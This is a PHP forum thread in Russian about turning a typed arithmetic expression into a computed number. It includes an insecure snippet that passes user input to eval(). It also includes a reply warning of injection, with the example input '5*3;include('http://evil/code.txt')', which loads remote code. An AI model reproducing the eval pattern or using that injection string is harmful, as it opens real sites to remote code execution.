Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. C++. Мастер-класс в задачах и примерах. Авторы: Кузнецов М.В., Симдянов И.В. MySQL на примерах. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель PHP 5 / 6 (3 издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум (новые сообщения вниз) Структурный форум

тема: Преобразование из string в int без потери операторов

Сообщения:  [1-7] 

 
 автор: Sobachka   (17.01.2008 в 01:37)   письмо автору
 
   для: 3D-GRAF   (15.01.2008 в 22:16)
 

eval выполняет код...
осторожней, а то подкинут вам вместо 5*3 в eval
5*3;include('http://evil/code.txt') 

и будет вам привет от умника какого нить ;)

   
 
 автор: Unkind   (15.01.2008 в 23:53)   письмо автору
 
   для: 3D-GRAF   (15.01.2008 в 21:33)
 

Парсер - это синтаксический анализатор. Вам нужно проверить синтаксис строки и разбирать строку "2 * 3" на составляющие (левый операнд - "2", правый - "3", оператор - "*") и умножать 2 на 3. Впрочем, всё зависит от того алгоритма, который Вы придумаете. Но так или иначе, задачу придется разложить на более простые. Точнее говоря, объяснить PHP, что нужно делать.
Придется делать самому - перекладывать задачу на eval(), т.е. на интерпретатор тут не подойдет, т.к. Вы не можете без того же разбора узнать о ситуациях вроде попытки деления на ноль, умножения на слишком большое число, ошибок в синтаксисе и так далее.
Ответить так просто не выйдет. Если Вас сильно интересует, как это можно сделать, то могу предложить свой парсер. Но за деньги.

   
 
 автор: 3D-GRAF   (15.01.2008 в 22:16)   письмо автору
 
   для: а-я   (15.01.2008 в 21:36)
 

Что-то не очень понимаю как он работает, поправьте если не так понял:
$a = "5 * 3";
$a = eval($a);
echo $a;
даёт мне:
Parse error: syntax error, unexpected $end in example.php(5) : eval()'d code on line 1

А всё, понял наконец-то, большое спасибо, не знал про эту функцию, и сам код как должен выглядеть, может кому-то пригодится:
$a = "5 * 3";
eval("echo $a;");

   
 
 автор: а-я   (15.01.2008 в 21:36)   письмо автору
 
   для: Unkind   (15.01.2008 в 21:27)
 

а eval () что делает?
я думал он для таких задач... или я ошибаюсь...

   
 
 автор: 3D-GRAF   (15.01.2008 в 21:33)   письмо автору
 
   для: Unkind   (15.01.2008 в 21:27)
 

А поподробней можно про парсер, не очень я с ним дружу. А почему это нету операторов для PHP? вобще задача сводится к тому, что:
echo 2 * 3; //выведет 6
а,
echo "2 * 3"; //выведет 2 * 3.
Так вот как "2 * 3" преобразовать в 2 * 3, уже как бы не string ?

   
 
 автор: Unkind   (15.01.2008 в 21:27)   письмо автору
 
   для: 3D-GRAF   (15.01.2008 в 21:03)
 

Нда. Надо писать парсер выражения и вычислять. Для PHP там никаких операторов нет.

   
 
 автор: 3D-GRAF   (15.01.2008 в 21:03)   письмо автору
 
 

Здравствуйте, возникла такая проблема.
Существует например поле ввода input, в него вводят к примеру 2 * 9 и на странице выводится эта переменная, только не в виде строки, а с типом int. Как такое собственно реализовать?
Ведь то что вводят в input имеет тип string и при выводе будет "2 * 9", а требуется вывести "18". Если переводить строку в int: $a = (int)$a; то теряются операторы и выводится не 18, а только 2, то есть первая цифра, знак умножения и вторая цифра теряются.

   

Сообщения:  [1-7] 

Форум разработан IT-студией SoftTime
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования